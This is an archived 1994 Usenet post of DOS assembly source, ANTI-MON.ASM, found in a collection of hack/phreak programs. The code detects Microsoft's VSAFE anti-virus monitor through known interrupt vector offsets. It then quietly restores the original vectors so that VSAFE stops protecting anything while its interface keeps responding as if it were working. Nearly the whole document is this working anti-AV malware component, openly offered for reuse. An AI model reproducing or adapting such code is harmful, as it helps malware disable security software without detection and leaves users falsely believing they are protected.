home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / ASM-A.ZIP / ANTI-MON.ASM < prev    next >
Assembly Source File  |  1994-11-29  |  11KB  |  272 lines

  1. From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:43:12 1994
  2. Xref: netcom.com alt.comp.virus:507
  3. Path: netcom.com!ix.netcom.com!netnews
  4. From: Zeppelin@ix.netcom.com (Mr. G)
  5. Newsgroups: alt.comp.virus
  6. Subject: Anti Monitor Virus (ANTI AV TSR)
  7. Date: 29 Nov 1994 13:05:19 GMT
  8. Organization: Netcom
  9. Lines: 256
  10. Distribution: world
  11. Message-ID: <3bf8uf$ib9@ixnews1.ix.netcom.com>
  12. References: <sbringerD00yHv.Hs3@netcom.com> <bradleymD011vJ.Lp8@netcom.com>
  13. NNTP-Posting-Host: ix-pas2-10.ix.netcom.com
  14.  
  15. ;***********************************************************************
  16. ***********************
  17. ;*                                                                      
  18.                       *
  19. ;*      FILE:     ANTI-MON.ASM (c) 1993                                 
  20.                       *
  21. ;*      PURPOSE:  Detect and remove a TSR anti-viral monitor            
  22.                       *
  23. ;*      AUTHOR:   Willoughby    DATE: 05/09/93                          
  24.                       *
  25. ;*                                                                      
  26.                       *
  27. ;***********************************************************************
  28. ***********************
  29.  
  30. MAIN    SEGMENT BYTE
  31.         ASSUME  CS:MAIN,DS:MAIN,ES:MAIN
  32.  
  33.         ORG     100H
  34.  
  35. ;***********************************************************************
  36. ***********************
  37. ;The purpose of this routine is simply to demonstrate the function of 
  38. the FIND_AV_MON and 
  39. ;NEUT_AV_MON routines.  It displays a message based upon the results of 
  40. the test for TSR anti-
  41. ;viral monitor interrupt vectors performed by the FIND_AV_MON routine 
  42. and the action taken, if 
  43. ;needed, by the NEUT_AV_MON routine.  
  44.  
  45. START:  call    FIND_AV_MON                     ;check for installed 
  46. anti-viral monitors
  47.         jc      MP1                             ;if carry is set, a 
  48. monitor is present 
  49.         mov     dx,OFFSET NOT_HERE_MSG          ;if not, display 
  50. appropriate message
  51.         jmp     MPEX                            ;during exit
  52. MP1:    cmp     WORD PTR [MONITOR_TYPE],0       ;check for type/version 
  53. of monitor present
  54.         mov     dx,OFFSET MON0_HERE_MSG 
  55.         je      MP2                             ;if MONITOR_TYPE = 0, 
  56. display v1.0 message
  57.         mov     dx,OFFSET MON1_HERE_MSG         ;otherwise, display v6.0 
  58. message
  59. MP2:    mov     ah,9
  60.         int     21H
  61.         call    NEUT_AV_MON                     ;then restore vectors to 
  62. original values 
  63.         mov     dx,OFFSET BUT_NOW_MSG           ;display monitor removal 
  64. message
  65. MPEX:   mov     ah,9
  66.         int     21H
  67.         mov     ax,4C00H                        ;exit program
  68.         int     21H
  69.  
  70. NOT_HERE_MSG:   
  71.         DB      0DH,0AH,'VSAFE is not present.',0DH,0AH,24H
  72. MON0_HERE_MSG:
  73.         DB      0DH,0AH,7,'VSAFE v1.0 is present.',0DH,0AH,24H
  74. MON1_HERE_MSG:
  75.         DB      0DH,0AH,7,'MS-DOS 6.0 VSAFE is present',0DH,0AH,24H
  76. BUT_NOW_MSG:
  77.         DB      0DH,0AH,'But now, it just APPEARS to be.',0DH,0AH,24H
  78.  
  79.  
  80. ;***********************************************************************
  81. ***********************
  82. ;This routine tests for the presence in memory of two versions of VSAFE 
  83. by comparing the 
  84. ;offsets of the interrupt vectors stolen during VSAFE's installation 
  85. with known VSAFE interrupt 
  86. ;handler offsets.  When it finds any three offset values in the system 
  87. interrupt vector table 
  88. ;which match the VSAFE offsets for the corresponding interrupt, the 
  89. carry flag is set to 
  90. ;indicate the presence of VSAFE in memory to the calling routine.  The 
  91. segment in which VSAFE 
  92. ;resides is stored in MONITOR_SEGMENT and the VSAFE version stored in 
  93. MONITOR_TYPE for use by 
  94. ;the NEUT_AV_MON routine. 
  95.  
  96. NUM_MONITORS    EQU     2                       ;# of anti-viral monitor 
  97. types to check for
  98. NUM_VECTORS     EQU     8                       ;# of interrupt vector 
  99. table entries to check
  100. MATCHES_REQ     EQU     3                       ;# of offset matches 
  101. required for positive ID
  102.  
  103. FIND_AV_MON:
  104.         push    es
  105.         xor     ax,ax
  106.         mov     es,ax                           ;set ES to segment of 
  107. interrupt vector table
  108.         mov     cx,NUM_VECTORS                  ;set loop counter to # 
  109. of vectors to check 
  110.         mov     si,OFFSET VECTOR_OFFSETS        ;point SI to start of 
  111. vector offset string
  112. FAMLP1: lodsw                                   ;load vector table 
  113. offset of first vector
  114.         mov     bx,ax
  115.         mov     dx,w[es:bx]                     ;load offset of vector 
  116. from table
  117.         xor     di,di                          
  118. FAMLP2: lodsw                                   ;load offset value used 
  119. by anti-viral monitor
  120.         cmp     dx,0FFFFH                       ;test for skip vector 
  121. check value
  122.         je      FAMLP3                          ;if skip value (FFFFH), 
  123. exit inner loop
  124.         cmp     dx,ax                           ;does vector table value 
  125. match monitor value?
  126.         jne     FAMLP3                                          ;if not, 
  127. jump to end of loop
  128.         inc     BYTE PTR [OFFSET TOTAL_MATCHES+di]              ;if so, 
  129. increment match counter
  130.         cmp     BYTE PTR [OFFSET TOTAL_MATCHES+di],MATCHES_REQ  
  131. ;required # of matches found?
  132.         jne     FAMLP3                                          ;if not, 
  133. jump to end of loop
  134.         add     bx,2                            ;set BX to point at 
  135. vector segment value
  136.         mov     ax,WORD PTR [es:bx]             ;load anti-viral seg. 
  137. value from vector table
  138.         mov     MONITOR_SEGMENT,ax              ;store segment value
  139.         mov     MONITOR_TYPE,di                 ;store monitor number 
  140. indicating version/type
  141.         stc                                     ;set carry flag to 
  142. indicate monitor was found
  143.         jmp     FAMEX                           
  144. FAMLP3: inc     di                              ;increment monitor 
  145. number
  146.         cmp     di,NUM_MONITORS                 ;all monitor values 
  147. checked for this vector?
  148.         jne     FAMLP2                          ;if not, do it all again
  149.         loop    FAMLP1                          ;if all vectors not 
  150. checked, loop to check next
  151.         clc                                     ;clear carry flag to 
  152. indicate no monitor found
  153. FAMEX:  pop     es
  154.         ret                                     
  155.  
  156. MONITOR_SEGMENT DW      ?                       ;storage location for 
  157. monitor segment value
  158. MONITOR_TYPE    DW      ?                       ;ditto for monitor type
  159.  
  160. TOTAL_MATCHES:  DB      NUM_MONITORS    DUP     ?       ;table for 
  161. vector match counts
  162.  
  163. VECTOR_OFFSETS:
  164.         DW      004CH,1039H,0352H               ;INT 13H, VSAFE1 offset, 
  165. VSAFE6 offset
  166.         DW      0058H,12CDH,05DDH               ;INT 16H
  167.         DW      0080H,138CH,06BCH               ;INT 20H
  168.         DW      0084H,15F7H,0940H               ;INT 21H
  169.         DW      009CH,1887H,0C0CH               ;INT 27H
  170.         DW      00BCH,2476H,1440H               ;INT 2FH
  171.         DW      0100H,1254H,05CBH               ;INT 40H
  172.         DW      0024H,0FFFFH,02AFH              ;INT 09H (FFFFH = skip 
  173. vector offset check)
  174.  
  175.  
  176. ;***********************************************************************
  177. ***********************
  178. ;This routine restores all but the keyboard interrupt vectors to their 
  179. original values prior 
  180. ;to the residency of VSAFE.  This is accomplished by moving the 
  181. original, unencrypted (!?) 
  182. ;vector values stored within VSAFE to their respective locations in the 
  183. system interrupt vector 
  184. ;table.  VSAFE is, thereby, completely disabled, but appears to be fully 
  185. functional because its 
  186. ;user interface continues to respond correctly to user inputs.  This 
  187. routine uses the monitor 
  188. ;segment (MONITOR_SEGMENT) and monitor type/version (MONITOR_TYPE) 
  189. values returned by the
  190. ;FIND_AV_MON routine. 
  191.  
  192. TABLE_SEGMENT   EQU     0                       ;interrupt vector table 
  193. segment
  194. NUM_RESTORE     EQU     6                       ;number of vectors to 
  195. restore
  196.  
  197. NEUT_AV_MON:
  198.         push    es
  199.         mov     ax,OFFSET MON2_OFFSETS
  200.         sub     ax,OFFSET MON1_OFFSETS
  201.         mul     WORD PTR [MONITOR_TYPE]         ;calc. string offset for 
  202. monitor type/version
  203.         mov     si,OFFSET MON1_OFFSETS         
  204.         add     si,ax                           ;point to first value in 
  205. desired monitor string
  206.         mov     di,OFFSET TABLE_OFFSETS         ;ditto for table offset 
  207. string
  208.         mov     cx,NUM_RESTORE                  ;set counter to number 
  209. of vectors to restore  
  210. RESTORE_VECTS:
  211.         mov     bx,WORD PTR [si]                ;load monitor offset of 
  212. original vector value
  213.         cmp     bx,0FFFFH                       ;test for skip restoral 
  214. value
  215.         je      SKIP                            ;if skip value (FFFFH), 
  216. then jump to loop
  217.         mov     es,MONITOR_SEGMENT              ;set ES to monitor 
  218. segment
  219.         mov     ax,WORD PTR [es:bx]             ;load original vector 
  220. offset from monitor
  221.         mov     ORIGINAL_OFF,ax                 ;store in scratch pad
  222.         mov     ax,WORD PTR [es:bx+2]           ;load original vector 
  223. segment from monitor
  224.         mov     ORIGINAL_SEG,ax                 ;store in scratch pad
  225.         mov     bx,WORD PTR [di]                ;load corresponding int. 
  226. vector table offset
  227.         mov     es,TABLE_SEGMENT                ;set ES to int. vector 
  228. table segment
  229.         mov     ax,ORIGINAL_OFF                 ;load original vector 
  230. offset
  231.         mov     WORD PTR [es:bx],ax             ;store original offset 
  232. in vector table
  233.         mov     ax,ORIGINAL_SEG                 ;load original vector 
  234. segment
  235.         mov     WORD PTR [es:bx+2],ax           ;store original segment 
  236. in vector table
  237. SKIP:   add     si,2                            ;point SI to next string 
  238. value
  239.         add     di,2                            ;ditto for DI
  240.         loop    RESTORE_VECTS                   ;loop to restore next 
  241. vector
  242.         pop     es
  243.         ret                                     ;all done, monitor is 
  244. totally neutralized
  245.  
  246. ORIGINAL_OFF    DW      ?                       ;temp. storage for 
  247. original int. vector offset
  248. ORIGINAL_SEG    DW      ?                       ;ditto for segment
  249.  
  250. TABLE_OFFSETS:
  251.         DW      004CH,0080H,0084H,009CH,00BCH,0100H     ;offsets to INT 
  252. vector table
  253.  
  254. MON1_OFFSETS:                                           ;VSAFE v1.0 
  255. offsets where
  256.         DW      1967H,196FH,1977H,197BH,242AH,197FH     ;original 
  257. vectors are stored
  258.                                                         ;(FFFFH = skip 
  259. vector restoral)
  260.  
  261. MON2_OFFSETS:                                           ;MS-DOS 6.0 
  262. VSAFE offsets where 
  263.         DW      0DB3H,0DBBH,0DC3H,0DC7H,141EH,0DCBH     ;original 
  264. vectors are stored
  265.                                                         ;(FFFFH = skip 
  266. vector restoral)
  267.  
  268. MAIN    ENDS
  269.  
  270.  
  271.  
  272.